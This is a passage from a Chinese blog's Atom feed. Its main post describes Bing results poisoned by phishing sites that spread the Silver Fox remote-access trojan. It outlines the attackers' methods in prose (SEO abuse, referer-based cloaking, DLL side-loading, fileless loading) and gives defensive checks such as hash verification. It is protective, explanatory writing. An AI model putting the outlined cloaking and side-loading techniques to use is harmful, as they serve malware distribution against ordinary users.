<li><a href="https://ivonblog.com/posts/unifiedpush-android/" target="_blank">UnifiedPush：去中心化的Android通知推送服務，替代Google FCM · Ivon的部落格</a></li>
<li><a href="https://f-droid.org/2026/01/08/unifiedpush-5-years.html" target="_blank">5 years of UnifiedPush | F-Droid</a></li>
<li><a href="https://www.reddit.com/r/androiddev/comments/zsr6ka/unifiedpush_a_decentralized_opensource_push/" target="_blank">UnifiedPush: a decentralized, open-source push notification protocol for Android : r/androiddev | Reddit</a></li>
<li><a href="https://news.ycombinator.com/item?id=34382862" target="_blank">My recent F-Droid blog post explained what UnifiedPush is in detail, basically: … | Hacker News</a></li>
</ul></div></div></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E5%BC%82%E9%97%BB%E5%BD%95/bing-search-engine-dangerous/</id>
      <title type="text">必应已死！所有人停止使用 Bing搜索 下载软件！</title>
      <published>2026-04-15T00:00:00.000Z</published>
      <updated>2026-04-15T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E5%BC%82%E9%97%BB%E5%BD%95/bing-search-engine-dangerous/"/>
      <summary type="text">Micro$oft Bing 已经沦陷，亿万人必须使用 Duckduckgo ，，，</summary>
      <content type="html"><![CDATA[<div><div><div></div><div>注意</div></div><div><p>这是《搜索引擎异闻录》的第二期，我们也是终于正式开坑了！请耐心阅读本次的精彩文章，敬请期待这个合集的下一章！</p><p>封面图片解释：图中左边的<a href="https://thbwiki.cc/%E6%B8%A1%E9%87%8C%E8%B4%9D%E5%AD%90" target="_blank">渡里贝子</a> (也称<code>渡里妮娜</code>，<em>《東方Project》</em> 第二十作 <em>《東方錦上京　～ Fossilized Wonders.》</em> EX面 登场人物)代表“往搜索引擎投放钓鱼网站与木马的黑产团伙”按人设来看很合理，毕竟是AI输出的垃圾信息过多造成的产物，右边的必应被银狐扑倒说明必应已被木马病毒污染。</p></div></div>
<section><h2>小引<a href="#小引"><span>#</span></a></h2> <div>
   <img alt="Base64 Image" />
</div> <p>近半年以内，越来越多的用户反馈说 Microsoft Bing 搜索引擎，已经被铺天盖地的垃圾掩埋了：不止是上期文章提到的内容农场，在搜索软件下载的时候，排在搜索结果前列的网站都是钓鱼网站，它们用着比官网还逼真的页面，诱骗用户去下载带有木马的软件安装包！</p><p>我一听直接震惊了！我一直使用必应找软件，却没遇到过这种情况。接着我才发觉原来是我加了反广告插件 (AdGuard) 把那些垃圾都给过滤了依旧是我仅有的一点点赛博洁癖发力了。看来有许多人上网使用浏览器都不会自觉主动去添加插件以得到净化后的上网体验 (他们估计连那些安利视频都懒得看，哔站浏览器插件安利视频一搜一大把，我也是这么样过来的)。</p><p>当然，这篇文章的主题并不是批判用户的上网习惯以及对灰产小作坊投放垃圾网站的无脑控诉。而是谈必应面对持续已久的负面现象却不以为然，丝毫没有任何声明与整改这件事。</p></section>
<section><h2>事件梳理<a href="#事件梳理"><span>#</span></a></h2><div><div><div></div><div>温馨提醒</div></div><div><p>正式阅读该文章前，可以去以下链接速览事件概况：</p><ul>
<li>
<p><a href="https://www.bilibili.com/opus/1134940499528908824" target="_blank">关于必应搜索推送“吾爱破解”假冒网站的紧急声明 - 哔哩哔哩</a></p>
</li>
<li>
<p><a href="https://www.bilibili.com/opus/1185936540280291329" target="_blank">关于“必应搜软件全是银狐病毒”事件的后续 - 哔哩哔哩</a></p>
</li>
<li>
<p><a href="https://today.hitwh.edu.cn/2026/0306/c1024a210902/page.htm" target="_blank">关于使用必应（bing）等搜索引擎的温馨提示</a></p>
</li>
</ul></div></div><section><h3>起因 &amp; 攻击手法<a href="#起因--攻击手法"><span>#</span></a></h3><p>2025年下半年，银狐木马就已开始肆虐必应搜索引擎各大网站，攻击者利用 SEO 轰炸，加上恶意广告投机，让伪装的下载站(钓鱼网站)出现在 Bing 搜索结果的前几名。他们面向一些急需下载软件的用户，仿冒 Telegram、WeChat、Chrome、Zoom、WPS Office、Microsoft Teams 以及各类财务/办公软件，这些类型的软件成为投毒的重灾区，导致许多用户中招，他们的电脑也成为那些攻击者的肉鸡。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/per6AGd.9o0eqn2uyh.png" alt="前面几条已经被假官网污染力，，，" /><figcaption>前面几条已经被假官网污染力，，，</figcaption></figure><p></p></section><section><h3>病毒特征<a href="#病毒特征"><span>#</span></a></h3><p>这些小作坊投放的钓鱼网站分发的是<code>“银狐”</code> (Silver Fox / ValleyRAT) 系列木马。这是一种远程控制类木马 (RAT)，一旦运行，黑客可以监控屏幕、记录键盘输入、窃取数字货币钱包以及网银数据，等等。</p></section><section><h3>最新动态跟踪(2026.3)<a href="#最新动态跟踪20263"><span>#</span></a></h3><p>安全专家发现该团伙开始使用 <strong>AI 生成 网页 UI 界面</strong>，使钓鱼网站看起来 <em>比官网还“正规”</em>，甚至使用了带有混淆性的相似域名 (Typosquatting)，极难辨认。</p></section></section>
<section><h2>由木马引发的用户与必应之间的信任危机<a href="#由木马引发的用户与必应之间的信任危机"><span>#</span></a></h2><p>又到了喜闻乐见的「岁月史书」时间：自 Google 退出中国大陆搜索引擎业务(2009 年)以来，大陆网民一直使用百度、搜狗等国产搜索引擎，自从 2016 年（刚好是 2026 年的十年前）魏则西事件发生过后，百度的口碑开始在网民心目中逐渐下滑。而后微软趁虚而入，大幅推广自家的 Bing 搜索引擎，必应在国内也逐渐有了名声，加上 Windows 10 开始捆绑 Edge 浏览器与搜索引擎，必应的使用率也超过了百度：在“P2P下载器”泛滥的时期，因有人发现必应搜索结果比百度干净的多，必应也俨然成为许多用户替代百度搜索的“避风港”，而今它的规模也持续到了现在。</p><p>用户往往对知名搜索引擎，尤其是微软背书的 Bing，有着天然纯真的信任。但好景不长：</p><blockquote><p>当你以为避开了小网站的弹窗，却在最信任的搜索框里跌入了深渊。</p></blockquote><p>去年开始泛滥的银狐木马彻底打破了这片清新宁静，讽刺的是，现在搜索某软件下载，搜索结果已经被带毒的假官网充满(只有加了反广告插件真正的官网才会被置顶)，这种“灯下黑”的心理落差，以及“官方背书”带来的防御心理解除，无疑是灰产团伙巧妙利用群众心理让他们自食其果，从而达到“借刀杀人”的效果。</p></section>
<section><h2>搜索生态的算法崩塌<a href="#搜索生态的算法崩塌"><span>#</span></a></h2><div><div><div></div><div>Important</div></div><div><p>关于必应的搜索算法，可以参见：<a href="https://www.bsoo.com.cn/pdf/Bing-White-Paper-2025.pdf" target="_blank">Bing搜索引擎优化（SEO）白皮书-2025年版</a>，
这里不做具体解读。</p></div></div><p>灰黑产利用算法漏洞 (SEO 污染) 跑在了审核机制的前面，这是一件极其荒谬的事情，我们都想了解：</p><blockquote><p><em>算法到底是为用户服务，还是为出价高昂的“杀手”让步呢？</em></p></blockquote><section><h3>一、算法特性被黑产精准利用<a href="#一算法特性被黑产精准利用"><span>#</span></a></h3><p>根据刚刚提到的对SEO算法研究的白皮书，Bing与Google在核心算法上存在显著差异，这些差异恰好成为黑产的攻击入口：</p>

<table><thead><tr><th>维度</th><th>Bing特性</th><th>黑产利用方式</th></tr></thead><tbody><tr><td><strong>关键词策略</strong></td><td>重视关键词密度与精确匹配</td><td>批量堆砌”软件下载""免费版”等高转化词</td></tr><tr><td><strong>外链权重</strong></td><td>更看重外链数量与平台相关性</td><td>通过站群、目录提交快速制造大量外链</td></tr><tr><td><strong>社交信号</strong></td><td>显式纳入排名因素</td><td>刷Twitter转发、LinkedIn分享数据</td></tr><tr><td><strong>多媒体索引</strong></td><td>高包容性，优先抓取图片/视频元数据</td><td>伪造软件截图、视频教程增加可信度</td></tr><tr><td><strong>索引速度</strong></td><td>普通站点3-7天即可收录</td><td>快速轮换域名，打时间差</td></tr></tbody></table><p><strong>核心漏洞</strong>：Bing 对<code>"关键词密度"</code>和<code>"外链数量"</code>的权重过高，导致黑产可以通过自动化工具批量生成<code>"SEO友好"</code>的钓鱼页面，而 Google 更重视的语义分析和权威性评估则难以被简单操控。</p></section><section><h3>二、广告审核机制的结构性弱点<a href="#二广告审核机制的结构性弱点"><span>#</span></a></h3><p>我们从 Bing 的 SEO 机制可推断广告审核的漏洞：</p><ol>
<li>
<p><strong>审核响应滞后</strong>
Bing对<code>"站点地图提交"</code>和<code>"新页面收录"</code>响应<strong>快速</strong>（3-7天），但对违规内容的人工审核<strong>周期过长</strong>
黑产采用 <strong>“快速上线-收割流量-弃用域名”</strong> 的游击战术</p>
</li>
<li>
<p><strong>域名信誉评估体系薄弱</strong>
白皮书强调Bing重视<code>"外链数量"</code>而非<code>"域名历史信誉"</code>
新注册域名通过购买外链、伪造社交信号即可快速获得排名</p>
</li>
<li>
<p><strong>落地页与广告内容分离策略</strong>
黑产常在审核阶段展示正规页面，通过来路检测（Referer Check）向Bing爬虫和普通用户展示不同内容
当用户通过Bing搜索结果进入时，才跳转到带木马的下载站</p>
</li>
</ol></section><section><h3>三、Ｍ＄生态的“信任传递”被滥用<a href="#三ｍ生态的信任传递被滥用"><span>#</span></a></h3><p>白皮书指出Bing覆盖”<code>Windows 搜索</code>、<code>Edge 浏览器</code>、<code>LinkedIn</code>及<code>Cortana</code>”，这种生态整合反而成为攻击面：</p>

<table><thead><tr><th>生态入口</th><th>黑产攻击手法</th></tr></thead><tbody><tr><td><strong>Windows默认搜索</strong></td><td>利用系统级信任，用户降低警惕性</td></tr><tr><td><strong>Edge浏览器</strong></td><td>伪造”Microsoft推荐”标识</td></tr><tr><td><strong>LinkedIn内容</strong></td><td>发布虚假软件评测文章，Bing赋予高权重</td></tr><tr><td><strong>GitHub托管</strong></td><td>恶意代码库伪装成开源项目</td></tr></tbody></table><p><strong>典型案例</strong>：2024-2025年，“黑猫”黑产团伙通过Bing SEO技术投递仿冒Chrome、Notepad++、Clash、WinSCP等常用软件的钓鱼页面，导致27.78万台主机被控。<sup><a href="https://security.zone.ci/secarticles/wx/517950.html" target="_blank">[来源]</a></sup></p></section><section><h3>四、黑产攻击的完整链路<a href="#四黑产攻击的完整链路"><span>#</span></a></h3><div><div><div></div><div>Note</div></div><div><p>别问为什么不用 Mermaid 图表语法做流程图，因为我用了之后发现那玩意渲染出来的非常奇怪，很扁，只能提前做好然后嵌入图片了，，，</p><p><strong>5.2号更新</strong>：最近 Firefly 博客模板添加了 PlantUML 的 feature，发现流程图可以自定义节点对其了，遂应用到文章当中👍</p></div></div><p></p><figure><img alt="流程图" loading="lazy" width="1187" height="494" src="/_astro/%E9%BB%91%E4%BA%A7%E6%94%BB%E5%87%BB%E7%9A%84%E5%AE%8C%E6%95%B4%E9%93%BE%E8%B7%AF.DnPjjTIJ_Z9yAmI.webp" /><figcaption>流程图</figcaption></figure><p></p><div><div><img alt="@startuml 
hide empty description
hide empty members

skinparam ranksep 20
skinparam nodesep 30
skinparam linetype ortho

' 第一行节点
state &quot;关键词研究&quot; as step1
state &quot;批量建站&quot; as step2
state &quot;SEO优化&quot; as step3
st" src="https://www.plantuml.com/plantuml/svg/hP9BRzD058Nt_XMZRbXPq3oR3QgGMBDWYLWOF3HMOyUo7Q7kea19IkCaWlH1Y08jHKgQq0HHqhpS_1dV6NlLlu3YCDDO2B5X-vrpxvnxD9kc9HbMJiqW8Qt8665LjtQGZCtdXg9RIbPRnIfMds7350HpMz5qoP1KP4ZQjebr5Bct0hMiZ1SmkWepYeQj7HsZh66biu9m1z5UpntblPEozxP02sF1j2GBepNO_U7NBxo-JJ_NQMUuXYGJcHRMrvc1x8tzOXMc4zhzmDK8Kny_VEJEZg5yoAKeanuesXRCktx-4waFmJdWZXXVNNa7DPjKQs0NkHfdOIVbFyAIMfDUdjBfUz9gmfuDfIFuVa3F9dmumPoqC8RYr1tjUux3rIHNwsrIkbggfDdsEptksU35L8zfPN2Ndh-2_XikfnRfH56yhVDcre3vhdyoTPqvhRUHQ2XRQKkylt09GPEtY5M7zKWOHWCO3SDO06DX66S1l7cBLBxo6AJPXS4rb0QyEfZbuUoInuWZKSw-r7wlIR0rC9j0QKZiqyL4V-mxDTfulVmKDxE6Tz5Psf7hsEwailmQY7pxuexsoU5uTVkJj2BBM7iQl2AoTz1gOK6kVnQMG686ls079mEM3B6DW6s4MEe_NvJwoqNh_2AuFgULFdniGMdW_RoYXT1mJcS3mYRMv9oQ-GK0" loading="lazy" /></div></div><p><strong>关键技术</strong>：</p><ul>
<li>
<p><strong>“白加黑”攻击</strong>：利用合法白程序（如libcef.dll）侧加载恶意代码</p>
</li>
<li>
<p><strong>无文件内存执行</strong>：反射加载技术规避杀毒软件检测</p>
</li>
<li>
<p><strong>C2基础设施</strong>：使用Cloudflare等CDN隐藏真实服务器</p>
</li>
</ul></section></section>
<section><h2>后AI时代，信任危机只会愈发明显<a href="#后ai时代信任危机只会愈发明显"><span>#</span></a></h2><p>随着 LLM 的疾速迅猛发展，AI 带给我们生活与工作上的便利同时，AI 也让造假的成本大幅降低。在 Vibe Coding (氛围编程) 主流助推下，仅需几步，随便生成一个非常美观的 UI 界面对 AI 来说简直小菜一碟。这也说明，用户仅凭视觉已无法判断网站的真伪。<a href="#%E6%9C%80%E6%96%B0%E5%8A%A8%E6%80%81%E8%B7%9F%E8%B8%AA20263">点此跳转上文</a></p><blockquote><p><em>在 UI 都能被 AI 完美克隆的今天，我们还能相信眼见为实吗？</em></p></blockquote><p>其实，无论是以前的互联网时代，还是现在的AI时代，靠视觉判断是不是正版这样的论断都是不严谨的，甚至说是错的，毕竟只是一个网页，用F12打开源代码就一览无余，直接<code>Ctrl + C</code> <code>Ctrl + V</code>的事。以前没有看到过直接这样做是因为直接照搬是侵权行为，小作坊不敢这么干只能手搓比较像的页面。现在AI来了，一切都将成为LLM训练的养料，模仿这块除非有成熟的针对AI的知识产权法律制定，不然已经无人能出手了，，，</p><p>现在微软的搜索引擎部门真是问题重重，都被喷了半年了没见什么动静。即便是有很多人提交了举报工单，也是一点声明没发，整改也没做，我看他们的老冯已经飞出外太空去和旅行者一号会面去了。但凡像 Windows 部门那边写一封声明书画个饼，也不至于到现在还被喷。要是觉得自己竞争过百度了目中无人了(其实半斤八两)，那你们自己等着被骂的更惨吧，信任危机是一天天不解决的，家里还有气的是只剩下一罐未喝完的可乐的，，，</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/perhC6J.4g543nagz6.png" alt="看我派坦克来把微软搜索引擎部门的老冯一个个送上天" /><figcaption>看我派坦克来把微软搜索引擎部门的老冯一个个送上天</figcaption></figure><p></p></section>
<section><h2>面对搜索引擎大变天，该如何「破局」？<a href="#面对搜索引擎大变天该如何破局"><span>#</span></a></h2><p>以下是个人长久以来的经验所总结得出，希望读者能自行实践。</p><section><h3>零、搜索前：添加反广告插件<a href="#零搜索前添加反广告插件"><span>#</span></a></h3><p>这里我推荐<code>AdGuard</code>，自行从<a href="https://chromewebstore.google.com/" target="_blank">Chrome</a>、<a href="https://addons.mozilla.org/en-US/firefox/" target="_blank">Firefox</a>或<a href="https://microsoftedge.microsoft.com/addons/Microsoft-Edge-Extensions-Home" target="_blank">Edge</a>插件商店搜索下载即可</p></section><section><h3>一、搜索阶段：识别危险信号<a href="#一搜索阶段识别危险信号"><span>#</span></a></h3>

<table><thead><tr><th>危险信号</th><th>具体表现</th><th>应对措施</th></tr></thead><tbody><tr><td><strong>广告标识混淆</strong></td><td>标注”广告”但样式接近自然结果</td><td>优先点击无”广告”标签的结果</td></tr><tr><td><strong>域名异常</strong></td><td>包含”download""free""crack”等词的新注册域名</td><td>查看域名年龄（whois查询）</td></tr><tr><td><strong>过度SEO优化</strong></td><td>标题堆砌关键词如”【官方】XX软件下载_免费版_破解版_2025最新”</td><td>警惕精确匹配关键词的标题</td></tr><tr><td><strong>虚假权威性</strong></td><td>声称”微软推荐""Bing优选”</td><td>微软官方从不为第三方软件背书</td></tr><tr><td><strong>社交信号造假</strong></td><td>显示数千转发但评论为空或重复</td><td>点击链接前查看真实用户讨论</td></tr></tbody></table><div><div><div></div><div>注意！</div></div><div><p>⚠️ 高危关键词清单</p><p>搜索以下词汇时<strong>必须额外警惕</strong>：</p><ul>
<li>
<p>“XX软件 破解版”</p>
</li>
<li>
<p>“XX软件 免费下载”（非官网）</p>
</li>
<li>
<p>“XX软件 绿色版”</p>
</li>
<li>
<p>“XX软件 免安装”</p>
</li>
<li>
<p>“XX软件 序列号生成器”</p>
</li>
</ul></div></div></section><section><h3>二、访问阶段：落地页安全核查<a href="#二访问阶段落地页安全核查"><span>#</span></a></h3><section><h4>🌐 网址验证清单<a href="#-网址验证清单"><span>#</span></a></h4><p><strong>必须确认的5个要素</strong>：</p><ol>
<li>
<p>HTTPS证书</p>
<ul>
<li>
<p>地址栏应显示🔒锁形图标</p>
</li>
<li>
<p>点击证书查看颁发机构<strong>是否为可信CA</strong>（如<code>DigiCert</code>、<code>Let's Encrypt</code>）</p>
</li>
<li>
<p>警惕自签名证书或证书与域名不匹配</p>
</li>
</ul>
</li>
<li>
<p>域名拼写</p>
<ul>
<li>
<p>仔细核对品牌名拼写（如<code>github.com</code> vs <code>githhub.com</code>）</p>
</li>
<li>
<p>注意顶级域名替换（<code>.com</code> vs <code>.cn</code> vs <code>.top</code>）</p>
</li>
</ul>
</li>
<li>
<p>官网特征</p>
<ul>
<li>
<p>官网通常有完整的<code>"关于我们"</code> <code>"隐私政策"</code> <code>"联系方式"</code></p>
</li>
<li>
<p>钓鱼站往往<strong>只有下载按钮</strong>，缺乏其他页面</p>
</li>
</ul>
</li>
<li>
<p>页面一致性</p>
<ul>
<li>
<p>截图、Logo<strong>是否清晰无拉伸</strong></p>
</li>
<li>
<p>语言风格<strong>是否专业（钓鱼站常有翻译腔）</strong></p>
</li>
</ul>
</li>
<li>
<p>下载按钮位置</p>
<ul>
<li>
<p>警惕页面顶部/侧边悬浮的”立即下载”<strong>广告按钮</strong></p>
</li>
<li>
<p>真正的下载链接通常在<strong>软件介绍详情页内</strong></p>
</li>
</ul>
</li>
</ol></section><section><h4>🛡️ 技术验证手段<a href="#️-技术验证手段"><span>#</span></a></h4>

<table><thead><tr><th>方法</th><th>操作步骤</th><th>目的</th></tr></thead><tbody><tr><td><strong>whois查询</strong></td><td>访问 whois.domaintools.com 输入域名</td><td>查看域名注册时间（新注册&lt;1年高风险）</td></tr><tr><td><strong>VirusTotal检测</strong></td><td>复制下载链接至 virustotal.com</td><td>多引擎扫描链接安全性</td></tr><tr><td><strong>Wayback Machine</strong></td><td>在 web.archive.org 查看域名历史</td><td>确认网站是否长期稳定运营</td></tr><tr><td><strong>Bing Webmaster</strong></td><td>查询域名在Bing的索引状态</td><td>查看是否有安全警告标记</td></tr></tbody></table></section></section><section><h3>三、下载阶段：文件安全校验<a href="#三下载阶段文件安全校验"><span>#</span></a></h3><p>一般知名的软件或开源项目提供<strong>SHA 256</strong>校验码文本或校验文件，相比<strong>MD5</strong>算法更加安全且目前无法破解。下载完成后请在下载目录执行以下命令：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># Windows</span></div></div><div><div><div>2</div></div><div><span>certutil</span><span> </span><span>-HashFile</span><span> </span><span>{文件名}</span><span> </span><span>SHA256</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># Linux</span></div></div><div><div><div>5</div></div><div><span>sha256sum</span><span> </span><span>{文件名}</span><span>   </span><span># 执行后将输出文本与官网提供的校验码进行比对</span></div></div><div><div><div>6</div></div><div><span># 或者(若有校验文件)</span></div></div><div><div><div>7</div></div><div><span>sha256sum</span><span> </span><span>-c</span><span> </span><span>{文件名}.sha256</span><span>   </span><span># 若输出为"{文件名}: OK"则表示校验成功</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>其他方式：</p><section><h4>📦 下载前必须执行的检查<a href="#-下载前必须执行的检查"><span>#</span></a></h4><p><strong>文件属性核查</strong>：</p><ol>
<li>
<p><strong>文件大小是否合理</strong></p>
<ul>
<li>正常VMware Workstation 17.6.x安装包约405MB，若显示的文件大小超过阈值(±10MB)则异常</li>
</ul>
</li>
<li>
<p><strong>数字签名验证（Windows）</strong></p>
<ul>
<li>右键文件 → 属性 → 数字签名</li>
<li>必须显示发布者名称（如<code>"Broadcom Inc"</code>）</li>
<li>无签名或签名无效 → <strong>立即删除</strong></li>
</ul>
</li>
<li>
<p><strong>扩展名真实性</strong></p>
<ul>
<li>显示”setup.exe”但真实扩展名为”setup.exe.scr”（隐藏扩展名陷阱）</li>
<li>在文件资源管理器开启 <strong>“显示已知文件扩展名”</strong></li>
</ul>
</li>
</ol></section><section><h4>🔒 沙箱运行原则<a href="#-沙箱运行原则"><span>#</span></a></h4>

<table><thead><tr><th>场景</th><th>安全措施</th></tr></thead><tbody><tr><td><strong>必须测试未知软件</strong></td><td>使用Windows沙盒（Windows Sandbox）或虚拟机</td></tr><tr><td><strong>无沙箱环境</strong></td><td>使用在线沙箱服务（如Any.Run、Hybrid Analysis）上传文件先行分析</td></tr><tr><td><strong>企业环境</strong></td><td>禁止直接运行，必须通过IT部门安全检测</td></tr></tbody></table></section></section><section><h3>四、安装阶段：行为监控要点<a href="#四安装阶段行为监控要点"><span>#</span></a></h3><section><h4>⚡ 安装过程中的危险行为<a href="#-安装过程中的危险行为"><span>#</span></a></h4><p><strong>立即停止安装的信号</strong>：</p><ul>
<li>
<p>安装包请求<strong>管理员权限</strong>但软件功能不需要（如文本编辑器）</p>
</li>
<li>
<p>安装界面包含<strong>捆绑软件</strong>预勾选框（如”安装XX浏览器”）</p>
</li>
<li>
<p>安装路径为<strong>系统目录</strong>（如C:\Windows\System32）而非Program Files</p>
</li>
<li>
<p>安装过程中<strong>关闭或禁用杀毒软件</strong>的提示</p>
</li>
<li>
<p>安装后<strong>立即弹出命令行窗口</strong>并快速消失(这个不一定，有些开发者用的工具项目也是这样子但不一定有毒，一般这些类型正常的安装包启动命令行窗口会停留几秒或几分钟)</p>
</li>
</ul></section><section><h4>🕵️ 安装后验证清单<a href="#️-安装后验证清单"><span>#</span></a></h4><ul>
<li>
<p> 检查启动项（任务管理器 → 启动）
发现不明程序立即禁用</p>
</li>
<li>
<p> 检查计划任务（任务计划程序）
搜索最近创建的可疑任务</p>
</li>
<li>
<p> 监控网络连接（资源监视器 → 网络）
查看软件是否连接异常IP（非软件官方域名）</p>
</li>
<li>
<p> 验证文件哈希
与官网公布的MD5/SHA256值对比</p>
</li>
</ul></section></section><section><h3>五、替代下载渠道（推荐优先级）<a href="#五替代下载渠道推荐优先级"><span>#</span></a></h3><section><h4>🏆 安全下载渠道排序<a href="#-安全下载渠道排序"><span>#</span></a></h4>

<table><thead><tr><th>优先级</th><th>渠道类型</th><th>示例</th><th>优势</th></tr></thead><tbody><tr><td><strong>1</strong></td><td><strong>官方官网</strong></td><td><code>https://www.vmware.com/</code></td><td>唯一可信来源</td></tr><tr><td><strong>2</strong></td><td><strong>官方GitHub Releases</strong></td><td><code>github.com/{作者}/{项目}/releases</code></td><td>开源可审计，Bing AI推荐需<strong>二次确认</strong></td></tr><tr><td><strong>3</strong></td><td><strong>可信包管理器</strong></td><td><code>scoop install 软件名</code>（Windows 10/11需安装）</td><td>社区审核，自动更新</td></tr><tr><td><strong>4</strong></td><td><strong>可信第三方商店</strong></td><td>Microsoft Store、Steam</td><td>平台有基础审核机制</td></tr><tr><td><strong>5</strong></td><td><strong>知名开源镜像</strong></td><td>SourceForge（<strong>需核对项目官方性</strong>）、FossHub</td><td>历史较久，但需<strong>防钓鱼镜像</strong></td></tr></tbody></table></section><section><h4>❌ 绝对避免的渠道<a href="#-绝对避免的渠道"><span>#</span></a></h4><ul>
<li>
<p>搜索引擎广告位推广的”高速下载站”</p>
</li>
<li>
<p>网盘分享的”破解版”（尤其是百度网盘非官方账号）</p>
</li>
<li>
<p>论坛、贴吧、QQ群分享的”绿色版”压缩包</p>
</li>
<li>
<p>视频网站评论区置顶的云盘链接</p>
</li>
</ul></section></section><section><h3>六、应急处理：已中招后的措施<a href="#六应急处理已中招后的措施"><span>#</span></a></h3><section><h4>🚨 发现感染迹象后的操作<a href="#-发现感染迹象后的操作"><span>#</span></a></h4><ul>
<li>
<p><strong>立即断网</strong>：拔掉网线或关闭WiFi，阻止C2通信</p>
</li>
<li>
<p><strong>保留证据</strong>：截图可疑进程、文件路径，不要立即删除文件（便于分析）</p>
</li>
<li>
<p><strong>全盘扫描</strong>：使用多款杀毒软件交叉扫描（Windows Defender + 卡巴斯基/VirusTotal）</p>
</li>
<li>
<p><strong>检查账户</strong>：修改重要账户密码（从另一台干净设备操作）</p>
</li>
<li>
<p><strong>系统还原</strong>：如无法清除，考虑重装系统或恢复出厂设置</p>
</li>
</ul></section><section><h4>📋 事后复盘要点<a href="#-事后复盘要点"><span>#</span></a></h4><ul>
<li>
<p>记录是通过哪个关键词、哪个搜索结果进入的钓鱼站</p>
</li>
<li>
<p>向Bing举报恶意站点（Bing Webmaster Tools → 举报垃圾信息）</p>
</li>
<li>
<p>向<a href="https://www.cert.org.cn/" target="_blank">国家互联网应急中心</a>（CNCERT）举报</p>
</li>
</ul></section></section></section>
<section><h2>总结<a href="#总结"><span>#</span></a></h2><p>面对这如粪海狂蛆般的必应搜索引擎生态，个人建议尽量少用或者停止使用，想获得更好的搜索体验我推荐 Google (普通人有能力用的)、DuckduckGo (注重隐私，但有小道消息称也能搜到钓鱼网站)、Kagi (针对从事IT行业开发者，需付费使用) 等搜索引擎。</p><p>我在这放几句话送给微软搜索引擎部门：我祝你们老板尸体健康哈，要不是因为有 Microsoft Rewards 可以兑换奖品我也不会用你们家的搜索引擎，要是你们未来几个月还不加紧整顿，我让你们全价飞升到火星为人类外天空探索事业做贡献了🤗</p><p>这里是 <em>《搜索引擎异闻录》</em> 主编 <strong>泠熙_LingXi_</strong>，可能你们阅读的时候会感觉到，我使用了 AI 工具辅助写了文案，在这里我对大家说声抱歉，没有在前面告知这个。但我认为合理地利用 AI 辅助写作还是可取的，它既能帮我搜集素材又能指引思路，我也对 AI 文案修改了许多措辞以接近人味。</p><p>最后，祝您在互联网冲浪体验更快人一步，在搜索中享受到 AI 时代下拥有动手能力的清爽感！</p><p>附加阅读👉：<a href="https://www.ithome.com/0/938/003.htm" target="_blank">IT之家 - CPUID 确认 PC 硬件监测工具 CPU-Z、HWMonitor 下载网站遭黑客入侵</a></p><p><strong>THE END</strong></p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%9D%82%E8%B0%88%E9%94%90%E8%AF%84/microsoft-commitment-to-windows-quality-2026/</id>
      <title type="text">谈Ｍ＄的“忏悔录”：我对 Windows 未来质量发展的看法</title>
      <published>2026-03-26T00:00:00.000Z</published>
      <updated>2026-03-26T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%9D%82%E8%B0%88%E9%94%90%E8%AF%84/microsoft-commitment-to-windows-quality-2026/"/>
      <summary type="text">微软公开信：全面整改 Win11 质量，如任务栏可停靠顶部 / 侧边等</summary>
      <content type="html"><![CDATA[<div><div><div></div><div>Note</div></div><div><p>以下文字包含个人主观意见，如有错误欢迎指点！</p></div></div>
<section><h2>前言<a href="#前言"><span>#</span></a></h2> <p>这几天看资讯，发现微软竟史无前例地发表了“公开信”，称<strong>会整改 Windows 11 的质量</strong>。自 2021 年 Windows 11 发布以来，用户使用下来发现 Win11 体验非常不尽人意(何止是不尽人意啊，这分明是 <strong>一坨大份</strong> 啊！)微软对 Win11 的开发也力不从心：阿三的管理层 + 堆砌如屎山的代码 + 乱砍好用的功能 + BUG 与 CVE漏洞 频发 + 强制推进 AI 功能 …… 这一连套操作下来，微软给 Windows 打了 40 多年的口碑在 Win11 开发时期一下子塌下来了。</p><p>另一边，苹果近几年的 Mac 系列产品逐渐走向大众视野，连微软项目经理都用上 Mac 了 <sup><a href="https://m.ithome.com/html/849706.htm" target="_blank">[来源]</a></sup>。尤其今年 MacBook Neo 平价 Mac 笔记本的推出，着实给微软带来了行业压力。</p><p>Linux侧也在发力，自从 Windows 10 停止支持后，End of 10 等民间项目鼓励使用中低端硬件的 Win10 用户转向 Linux 桌面。<sup><a href="https://www.techtarget.com/searchenterprisedesktop/feature/End-of-10-How-Linux-could-help-Windows-10-PCs-live-on" target="_blank">[来源1]</a> <a href="https://endof10.org/" target="_blank">[来源2]</a></sup>依旧今年是 <strong>Linux 桌面元年</strong>，，，</p><p>面对愈演愈烈的信任危机，Ｍ＄也是意识到了事情的严重性，Windows 作为公司的根基不应该减少重心投入 (Ｍ＄许多产品业务重心是投向B端了，比如 Azure)，于是他们在 Windows Insider Blog 上写下了这篇“保证书”，试图恢复 Windows 与 Ｍ＄ 在消费市场的声誉。</p><p>那么，在这轰轰烈烈的“罪已诏”背后，究竟是真的 <strong>“真心悔改”</strong>，还是Ｍ＄对用户临时 <strong>“画大饼”</strong> 呢？下面有请请我逐句分析。</p><div><div><div></div><div>Important</div></div><div><p>原微软官方 Blog 页面指路，欢迎本Blog读者前去拜读：<a href="https://blogs.windows.com/windows-insider/2026/03/20/our-commitment-to-windows-quality/" target="_blank">Our commitment to Windows quality | Windows Insider Blog</a></p></div></div></section>
<section><h2>对于《我们对 Windows 质量的承诺》的解读<a href="#对于我们对-windows-质量的承诺的解读"><span>#</span></a></h2> <div>
   <img alt="Base64 Image" />
